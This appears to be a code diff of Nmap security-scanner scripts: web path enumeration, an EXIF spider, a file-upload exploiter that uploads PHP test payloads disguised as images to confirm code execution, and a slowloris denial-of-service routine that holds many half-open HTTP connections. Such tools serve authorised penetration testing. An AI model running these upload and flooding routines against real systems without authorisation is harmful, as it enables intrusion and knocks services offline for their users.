-- -- Make a copy of the entry for each of them -- -- Make a copy of the entry for each of them
-- for _, variation in ipairs(variations) do -- for _, variation in ipairs(variations) do
-- new_entry = {} -- new_entry = {}
-- for k, v in pairs(entry) do -- for k, v in pairs(entry) do
-- new_entry[k] = v -- new_entry[k] = v
-- end -- end
-- new_entry['checkdesc'] = new_entry['checkdesc'] .. " (variation)" -- new_entry['checkdesc'] = new_entry['checkdesc'] .. " (variation)"
-- new_entry['checkdir'] = variation -- new_entry['checkdir'] = variation
-- table.insert(entries, new_entry) -- table.insert(entries, new_entry)
-- count = count + 1 -- count = count + 1
-- end -- end
-- end -- end
-- Cache the fingerprints for other scripts, so we aren't reading the files every time -- Cache the fingerprints for other scripts, so we aren't reading the files every time
-- nmap.registry.http_fingerprints = fingerprints -- nmap.registry.http_fingerprints = fingerprints
return true, fingerprints return true, fingerprints
end end
action = function(host, port) action = function(host, port)
local response = {} local response = {}
-- Read the script-args, keeping the old ones for reverse compatibility -- Read the script-args, keeping the old ones for reverse compatibility
local basepath = stdnse.get_script_args({'http-enum.basepath', 'path'}) or '/' local basepath = stdnse.get_script_args({'http-enum.basepath', 'path'}) or '/'
local displayall = stdnse.get_script_args({'http-enum.displayall', 'displayall'}) or false local displayall = stdnse.get_script_args({'http-enum.displayall', 'displayall'}) or false
local fingerprint_file = stdnse.get_script_args({'http-enum.fingerprintfile', 'fingerprints'}) or 'http-fingerprints.lua' local fingerprint_file = stdnse.get_script_args({'http-enum.fingerprintfile', 'fingerprints'}) or 'http-fingerprints.lua'
local category = stdnse.get_script_args('http-enum.category') local category = stdnse.get_script_args('http-enum.category')
-- local try_variations = stdnse.get_script_args({'http-enum.tryvariations', 'variations'}) or false -- local try_variations = stdnse.get_script_args({'http-enum.tryvariations', 'variations'}) or false
-- local limit = tonumber(stdnse.get_script_args({'http-enum.limit', 'limit'})) or -1 -- local limit = tonumber(stdnse.get_script_args({'http-enum.limit', 'limit'})) or -1
-- Add URLs from external files -- Add URLs from external files
local status, fingerprints = get_fingerprints(fingerprint_file, category) local status, fingerprints = get_fingerprints(fingerprint_file, category)
if(not(status)) then if(not(status)) then
return stdnse.format_output(false, fingerprints) return stdnse.format_output(false, fingerprints)
end end
stdnse.print_debug(1, "http-enum: Loaded %d fingerprints", #fingerprints) stdnse.print_debug(1, "http-enum: Loaded %d fingerprints", #fingerprints)
-- Check what response we get for a 404 -- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port) local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then if(result == false) then
return stdnse.format_output(false, result_404) return stdnse.format_output(false, result_404)
end end
-- Queue up the checks -- Queue up the checks
local all = {} local all = {}
-- Remove trailing slash, if it exists -- Remove trailing slash, if it exists
if(#basepath > 1 and string.sub(basepath, #basepath, #basepath) == '/') then if(#basepath > 1 and string.sub(basepath, #basepath, #basepath) == '/') then
basepath = string.sub(basepath, 1, #basepath - 1) basepath = string.sub(basepath, 1, #basepath - 1)
end end
-- Add a leading slash, if it doesn't exist -- Add a leading slash, if it doesn't exist
if(#basepath <= 1) then if(#basepath <= 1) then
basepath = '' basepath = ''
else else
if(string.sub(basepath, 1, 1) ~= '/') then if(string.sub(basepath, 1, 1) ~= '/') then
basepath = '/' .. basepath basepath = '/' .. basepath
end end
end end
local results_nopipeline = {} local results_nopipeline = {}
-- Loop through the fingerprints -- Loop through the fingerprints
stdnse.print_debug(1, "http-enum: Searching for entries under path '%s' (change with 'http-enum.basepath' argument)", basepath) stdnse.print_debug(1, "http-enum: Searching for entries under path '%s' (change with 'http-enum.basepath' argument)", basepath)
for i = 1, #fingerprints, 1 do for i = 1, #fingerprints, 1 do
-- Add each path. The order very much matters here. -- Add each path. The order very much matters here.
for j = 1, #fingerprints[i].probes, 1 do for j = 1, #fingerprints[i].probes, 1 do
if fingerprints[i].probes[j].nopipeline then if fingerprints[i].probes[j].nopipeline then
local res = http.generic_request(host, port, fingerprints[i].probes[j].method or 'GET', basepath .. fingerprints[i].probes[j].path, nil) local res = http.generic_request(host, port, fingerprints[i].probes[j].method or 'GET', basepath .. fingerprints[i].probes[j].path, nil)
if res.status then if res.status then
@@ -395,25 +395,25 @@ action = function(host, port)
all = http.pipeline_add(basepath .. fingerprints[i].probes[j].path, nil, all, fingerprints[i].probes[j].method or 'GET') all = http.pipeline_add(basepath .. fingerprints[i].probes[j].path, nil, all, fingerprints[i].probes[j].method or 'GET')
end end
end end
end end
-- Perform all the requests. -- Perform all the requests.
local results = http.pipeline_go(host, port, all, nil) local results = http.pipeline_go(host, port, all, nil)
-- Check for http.pipeline error -- Check for http.pipeline error
if(results == nil) then if(results == nil) then
stdnse.print_debug(1, "http-enum: http.pipeline_go encountered an error") stdnse.print_debug(1, "http-enum: http.pipeline_go encountered an error")
return stdnse.format_output(false, "http.pipeline_go encountered an error") return stdnse.format_output(false, "http.pipeline_go encountered an error")
end end
-- Loop through the fingerprints. Note that for each fingerprint, we may have multiple results -- Loop through the fingerprints. Note that for each fingerprint, we may have multiple results
local j = 1 local j = 1
local j_nopipeline = 1 local j_nopipeline = 1
for i, fingerprint in ipairs(fingerprints) do for i, fingerprint in ipairs(fingerprints) do
-- Loop through the paths for each fingerprint in the same order we did the requests. Each of these will -- Loop through the paths for each fingerprint in the same order we did the requests. Each of these will
-- have one result, so increment the result value at each iteration -- have one result, so increment the result value at each iteration
for _, probe in ipairs(fingerprint.probes) do for _, probe in ipairs(fingerprint.probes) do
local result local result
if probe.nopipeline then if probe.nopipeline then
result = results_nopipeline[j_nopipeline] result = results_nopipeline[j_nopipeline]
@@ -422,66 +422,66 @@ action = function(host, port)
result = results[j] result = results[j]
j = j + 1 j = j + 1
end end
if(result) then if(result) then
local path = basepath .. probe['path'] local path = basepath .. probe['path']
local good = true local good = true
local output = nil local output = nil
-- Unless this check said to ignore 404 messages, check if we got a valid page back using a known 404 message. -- Unless this check said to ignore 404 messages, check if we got a valid page back using a known 404 message.
if(fingerprint.ignore_404 ~= true and not(http.page_exists(result, result_404, known_404, path, displayall))) then if(fingerprint.ignore_404 ~= true and not(http.page_exists(result, result_404, known_404, path, displayall))) then
good = false good = false
else else
-- Loop through our matches table and see if anything matches our result -- Loop through our matches table and see if anything matches our result
for _, match in ipairs(fingerprint.matches) do for _, match in ipairs(fingerprint.matches) do
if(match.match) then if(match.match) then
local result, matches = http.response_contains(result, match.match) local result, matches = http.response_contains(result, match.match)
if(result) then if(result) then
output = match.output output = match.output
good = true good = true
for k, value in ipairs(matches) do for k, value in ipairs(matches) do
output = string.gsub(output, '\\' .. k, matches[k]) output = string.gsub(output, '\\' .. k, matches[k])
end end
end end
else else
output = match.output output = match.output
end end
-- If nothing matched, turn off the match -- If nothing matched, turn off the match
if(not(output)) then if(not(output)) then
good = false good = false
end end
-- If we match the 'dontmatch' line, we're not getting a match -- If we match the 'dontmatch' line, we're not getting a match
if(match.dontmatch and match.dontmatch ~= '' and http.response_contains(result, match.dontmatch)) then if(match.dontmatch and match.dontmatch ~= '' and http.response_contains(result, match.dontmatch)) then
output = nil output = nil
good = false good = false
end end
-- Break the loop if we found it -- Break the loop if we found it
if(output) then if(output) then
break break
end end
end end
end end
if(good) then if(good) then
-- Save the path in the registry -- Save the path in the registry
http.save_path(stdnse.get_hostname(host), port.number, path, result.status) http.save_path(stdnse.get_hostname(host), port.number, path, result.status)
-- Add the path to the output -- Add the path to the output
output = string.format("%s: %s", path, output) output = string.format("%s: %s", path, output)
-- Build the status code, if it isn't a 200 -- Build the status code, if it isn't a 200
if(result.status ~= 200) then if(result.status ~= 200) then
output = output .. " (" .. http.get_status_string(result) .. ")" output = output .. " (" .. http.get_status_string(result) .. ")"
end end
stdnse.print_debug(1, "Found a valid page! %s", output) stdnse.print_debug(1, "Found a valid page! %s", output)
table.insert(response, output) table.insert(response, output)
end end
end end
end end
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -500,27 +500,27 @@ function action(host, port)
return string.match(url.file, "%.jpg") or string.match(url.file, "%.jpeg") return string.match(url.file, "%.jpg") or string.match(url.file, "%.jpeg")
end end
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, whitelist = { whitelist }} ) local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, whitelist = { whitelist }} )
if ( not(crawler) ) then if ( not(crawler) ) then
return return
end end
while(true) do while(true) do
-- Begin the crawler -- Begin the crawler
local status, r = crawler:crawl() local status, r = crawler:crawl()
-- Make sure there's no error -- Make sure there's no error
if ( not(status) ) then if ( not(status) ) then
if ( r.err ) then if ( r.err ) then
return stdnse.format_output(false, r.reason) return stdnse.format_output(false, r.reason)
else else
break break
end end
end end
-- Check if we got a response, and the response is a .jpg file -- Check if we got a response, and the response is a .jpg file
if r.response and r.response.body and r.response.status==200 and (string.match(r.url.path, ".jpg") or string.match(r.url.path, ".jpeg")) then if r.response and r.response.body and r.response.status==200 and (string.match(r.url.path, ".jpg") or string.match(r.url.path, ".jpeg")) then
local status, result local status, result
stdnse.print_debug(1, "Attempting to read exif data from %s", r.url.raw) stdnse.print_debug(1, "Attempting to read exif data from %s", r.url.raw)
status, result = parse_jpeg(r.response.body) status, result = parse_jpeg(r.response.body)
@@ -533,7 +533,7 @@ function action(host, port)
table.insert(results, result) table.insert(results, result)
end end
end end
end end
end end
return stdnse.format_output(true, results) return stdnse.format_output(true, results)

View File

@@ -74,76 +74,76 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
-- --
-- Note, that more payloads will slow down your scan significaly. -- Note, that more payloads will slow down your scan significaly.
payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
{ filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, { filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, -- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" }, -- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" }, -- { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" }, -- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" }, -- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" }, -- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" }, -- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
} }
listofrequests = {} listofrequests = {}
-- Escape for jsp and asp payloads. -- Escape for jsp and asp payloads.
local escape = function(s) local escape = function(s)
return (s:gsub('%%', '%%%%')) return (s:gsub('%%', '%%%%'))
end end
-- Represents an upload-request. -- Represents an upload-request.
local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check) local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check)
local request = { local request = {
host = host; host = host;
port = port; port = port;
submission = submission; submission = submission;
mime = mime; mime = mime;
name = name; name = name;
filename = filename; filename = filename;
partofrequest = partofrequest; partofrequest = partofrequest;
payload = payload; payload = payload;
check = check; check = check;
uploadedpaths = {}; uploadedpaths = {};
success = 0; success = 0;
make = function(self) make = function(self)
local options = { header={} } local options = { header={} }
options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x" options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--' options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content'])) stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
local response = http.post(self.host, self.port, self.submission, options, { no_cache = true }) local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })
return response.body return response.body
end; end;
checkPayload = function(self, uploadspaths) checkPayload = function(self, uploadspaths)
for _, uploadpath in ipairs(uploadspaths) do for _, uploadpath in ipairs(uploadspaths) do
local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } ) local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
if response.status ~= 404 then if response.status ~= 404 then
if (response.body:match(self.check)) then if (response.body:match(self.check)) then
self.success = 1 self.success = 1
table.insert(self.uploadedpaths, uploadpath) table.insert(self.uploadedpaths, uploadpath)
end end
end end
end end
end; end;
} }
table.insert(listofrequests, request) table.insert(listofrequests, request)
return request return request
end end
-- Create customized requests for all of our payloads. -- Create customized requests for all of our payloads.
local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image) local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image)
for i, p in ipairs(payloads) do for i, p in ipairs(payloads) do
if image then if image then
p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true) p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
end
UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
end end
UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
end
end end
@@ -151,179 +151,179 @@ end
-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array. -- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
local makeAndCheckRequests = function(uploadspaths) local makeAndCheckRequests = function(uploadspaths)
local exit = 0 local exit = 0
local output = {"Succesfully uploaded and executed payloads: "} local output = {"Succesfully uploaded and executed payloads: "}
for i=1, #listofrequests, 1 do for i=1, #listofrequests, 1 do
listofrequests[i]:make() listofrequests[i]:make()
listofrequests[i]:checkPayload(uploadspaths) listofrequests[i]:checkPayload(uploadspaths)
if (listofrequests[i].success == 1) then if (listofrequests[i].success == 1) then
exit = 1 exit = 1
table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ") table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename) table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
end end
end
end end
end
if exit == 1 then if exit == 1 then
return output return output
end end
listofrequests = {} listofrequests = {}
end end
local prepareRequest = function(fields, fieldvalues) local prepareRequest = function(fields, fieldvalues)
local filefield = 0 local filefield = 0
local req = "" local req = ""
local value local value
for _, field in ipairs(fields) do for _, field in ipairs(fields) do
if field["type"] == "file" then if field["type"] == "file" then
filefield = field filefield = field
elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
if fieldvalues[field["name"]] ~= nil then if fieldvalues[field["name"]] ~= nil then
value = fieldvalues[field["name"]] value = fieldvalues[field["name"]]
else else
value = "SampleData0" value = "SampleData0"
end end
req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n' req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n'
end
end end
end
return req, filefield return req, filefield
end end
action = function(host, port) action = function(host, port)
local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths") local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'} local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {} local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}
local returntable = {} local returntable = {}
local result local result
local foundform = 0 local foundform = 0
local foundfield = 0 local foundfield = 0
local fail = 0 local fail = 0
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } ) local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
if (not(crawler)) then if (not(crawler)) then
return return
end end
crawler:set_timeout(10000) crawler:set_timeout(10000)
local index, k, target, response local index, k, target, response
while (true) do while (true) do
if formpaths then if formpaths then
k, target = next(formpaths, index) k, target = next(formpaths, index)
if (k == nil) then if (k == nil) then
break break
end end
response = http.get(host, port, target) response = http.get(host, port, target)
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else else
break
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
end end
end
target = tostring(r.url)
response = r.response
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
if form then
local action_absolute = string.find(form["action"], "https*://")
-- Determine the path where the form needs to be submitted.
local submission
if action_absolute then
submission = form["action"]
else
local path_cropped = string.match(target, "(.*/).*")
path_cropped = path_cropped and path_cropped or ""
submission = path_cropped..form["action"]
end
foundform = 1
local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
if filefield ~= 0 then
foundfield = 1
-- Method (1).
buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (2).
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (3).
local inp = assert(io.open("nselib/data/pixel.gif", "rb"))
local image = inp:read("*all")
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
else
fail = 1
end
end
else
table.insert(returntable, {"Couldn't find a file-type field."})
end
end
end
if fail == 1 then
table.insert(returntable, {"Failed to upload and execute a payload."})
end
if (index) then
index = index + 1
else
index = 1
end
end end
return returntable
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
if form then
local action_absolute = string.find(form["action"], "https*://")
-- Determine the path where the form needs to be submitted.
local submission
if action_absolute then
submission = form["action"]
else
local path_cropped = string.match(target, "(.*/).*")
path_cropped = path_cropped and path_cropped or ""
submission = path_cropped..form["action"]
end
foundform = 1
local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
if filefield ~= 0 then
foundfield = 1
-- Method (1).
buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (2).
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (3).
local inp = assert(io.open("nselib/data/pixel.gif", "rb"))
local image = inp:read("*all")
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
else
fail = 1
end
end
else
table.insert(returntable, {"Couldn't find a file-type field."})
end
end
end
if fail == 1 then
table.insert(returntable, {"Failed to upload and execute a payload."})
end
if (index) then
index = index + 1
else
index = 1
end
end
return returntable
end end

View File

@@ -85,240 +85,240 @@ local Bestopt
-- get time (in miliseconds) when the script should finish -- get time (in miliseconds) when the script should finish
local function get_end_time() local function get_end_time()
if TimeLimit == nil then if TimeLimit == nil then
return -1 return -1
end end
return 1000 * TimeLimit + nmap.clock_ms() return 1000 * TimeLimit + nmap.clock_ms()
end end
local function set_parameters() local function set_parameters()
SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s') SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s')
if stdnse.get_script_args('http-slowloris.runforever') then if stdnse.get_script_args('http-slowloris.runforever') then
TimeLimit = nil TimeLimit = nil
else else
TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m') TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m')
end end
end end
local function do_half_http(host, port, obj) local function do_half_http(host, port, obj)
local condvar = nmap.condvar(obj) local condvar = nmap.condvar(obj)
if StopAll then if StopAll then
condvar("signal") condvar("signal")
return return
end end
-- Create socket -- Create socket
local slowloris = nmap.new_socket() local slowloris = nmap.new_socket()
slowloris:set_timeout(200 * 1000) -- Set a long timeout so our socked doesn't timeout while it's waiting slowloris:set_timeout(200 * 1000) -- Set a long timeout so our socked doesn't timeout while it's waiting
ThreadCount = ThreadCount + 1 ThreadCount = ThreadCount + 1
local catch = function() local catch = function()
-- This connection is now dead -- This connection is now dead
ThreadCount = ThreadCount - 1 ThreadCount = ThreadCount - 1
stdnse.print_debug(SCRIPT_NAME .. " [HALF HTTP]: lost connection") stdnse.print_debug(SCRIPT_NAME .. " [HALF HTTP]: lost connection")
slowloris:close() slowloris:close()
slowloris = nil slowloris = nil
condvar("signal") condvar("signal")
end end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
try(slowloris:connect(host.ip, port, Bestopt)) try(slowloris:connect(host.ip, port, Bestopt))
-- Build a half-http header. -- Build a half-http header.
local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" .. local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
"Host: " .. host.ip .. "\r\n" .. "Host: " .. host.ip .. "\r\n" ..
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " .. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" .. ".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" ..
"Content-Length: 42\r\n" "Content-Length: 42\r\n"
try(slowloris:send(half_http)) try(slowloris:send(half_http))
ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started." ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started."
-- During the attack some connections will die and other will respawn. -- During the attack some connections will die and other will respawn.
-- Here we keep in mind the maximum concurrent connections reached. -- Here we keep in mind the maximum concurrent connections reached.
if Sockets <= ThreadCount then Sockets = ThreadCount end if Sockets <= ThreadCount then Sockets = ThreadCount end
-- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval -- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
while true do while true do
if StopAll then if StopAll then
break break
end end
stdnse.sleep(SendInterval) stdnse.sleep(SendInterval)
try(slowloris:send("X-a: b\r\n")) try(slowloris:send("X-a: b\r\n"))
ServerNotice = " (attack against " .. host.ip .. "): Feeding HTTP stream..." ServerNotice = " (attack against " .. host.ip .. "): Feeding HTTP stream..."
Queries = Queries + 1 Queries = Queries + 1
ServerNotice = ServerNotice .. "\n(attack against " .. host.ip .. "): " .. Queries .. " queries sent using " .. ThreadCount .. " connections." ServerNotice = ServerNotice .. "\n(attack against " .. host.ip .. "): " .. Queries .. " queries sent using " .. ThreadCount .. " connections."
end end
slowloris:close() slowloris:close()
ThreadCount = ThreadCount - 1 ThreadCount = ThreadCount - 1
condvar("signal") condvar("signal")
end end
-- Monitor the web server -- Monitor the web server
local function do_monitor(host, port) local function do_monitor(host, port)
local general_faults = 0 local general_faults = 0
local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Monitoring " .. host.ip .. " started") stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Monitoring " .. host.ip .. " started")
local request = "GET / HTTP/1.1\r\n" .. local request = "GET / HTTP/1.1\r\n" ..
"Host: " .. host.ip .. "Host: " .. host.ip ..
"\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " .. "\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n" ".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
local opts = {} local opts = {}
local _ local _
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", opts) -- first determine if we need ssl _, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", opts) -- first determine if we need ssl
while not StopAll do while not StopAll do
local monitor = nmap.new_socket() local monitor = nmap.new_socket()
local status = monitor:connect(host.ip, port, Bestopt) local status = monitor:connect(host.ip, port, Bestopt)
if not status then if not status then
general_faults = general_faults + 1 general_faults = general_faults + 1
if general_faults > 3 then if general_faults > 3 then
Reason = "not-slowloris" Reason = "not-slowloris"
DOSed = true DOSed = true
break break
end end
else else
status = monitor:send(request) status = monitor:send(request)
if not status then if not status then
general_faults = general_faults + 1 general_faults = general_faults + 1
if general_faults > 3 then if general_faults > 3 then
Reason = "not-slowloris" Reason = "not-slowloris"
DOSed = true DOSed = true
break break
end end
end end
status, _ = monitor:receive_lines(1) status, _ = monitor:receive_lines(1)
if not status then if not status then
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Didn't get a reply from " .. host.ip .. "." ) stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Didn't get a reply from " .. host.ip .. "." )
monitor:close() monitor:close()
request_faults = request_faults +1 request_faults = request_faults +1
if request_faults > 3 then if request_faults > 3 then
if TimeLimit then if TimeLimit then
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.") stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.")
DOSed = true DOSed = true
end end
monitor:close() monitor:close()
break break
end end
else else
request_faults = 0 request_faults = 0
general_faults = 0 general_faults = 0
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: ".. host.ip .." still up, answer received.") stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: ".. host.ip .." still up, answer received.")
stdnse.sleep(10) stdnse.sleep(10)
monitor:close() monitor:close()
end end
if StopAll then if StopAll then
break break
end end
end end
end end
end end
local Mutex = nmap.mutex("http-slowloris") local Mutex = nmap.mutex("http-slowloris")
local function worker_scheduler(host, port) local function worker_scheduler(host, port)
local Threads = {} local Threads = {}
local obj = {} local obj = {}
local condvar = nmap.condvar(obj) local condvar = nmap.condvar(obj)
local i local i
for i = 1, 1000 do for i = 1, 1000 do
-- The real amount of sockets is triggered by the -- The real amount of sockets is triggered by the
-- '--max-parallelism' option. The remaining threads will replace -- '--max-parallelism' option. The remaining threads will replace
-- dead sockets during the attack -- dead sockets during the attack
local co = stdnse.new_thread(do_half_http, host, port, obj) local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true Threads[co] = true
end end
while not DOSed and not StopAll do while not DOSed and not StopAll do
-- keep creating new threads, in case we want to run the attack indefinitely -- keep creating new threads, in case we want to run the attack indefinitely
repeat repeat
if StopAll then if StopAll then
return return
end end
for thread in pairs(Threads) do for thread in pairs(Threads) do
if coroutine.status(thread) == "dead" then if coroutine.status(thread) == "dead" then
Threads[thread] = nil Threads[thread] = nil
end end
end end
stdnse.print_debug(SCRIPT_NAME .. " [SCHEDULER]: starting new thread") stdnse.print_debug(SCRIPT_NAME .. " [SCHEDULER]: starting new thread")
local co = stdnse.new_thread(do_half_http, host, port, obj) local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true Threads[co] = true
if ( next(Threads) ) then if ( next(Threads) ) then
condvar("wait") condvar("wait")
end end
until next(Threads) == nil; until next(Threads) == nil;
end end
end end
action = function(host, port) action = function(host, port)
Mutex("lock") -- we want only one slowloris instance running at a single Mutex("lock") -- we want only one slowloris instance running at a single
-- time even if multiple hosts are specified -- time even if multiple hosts are specified
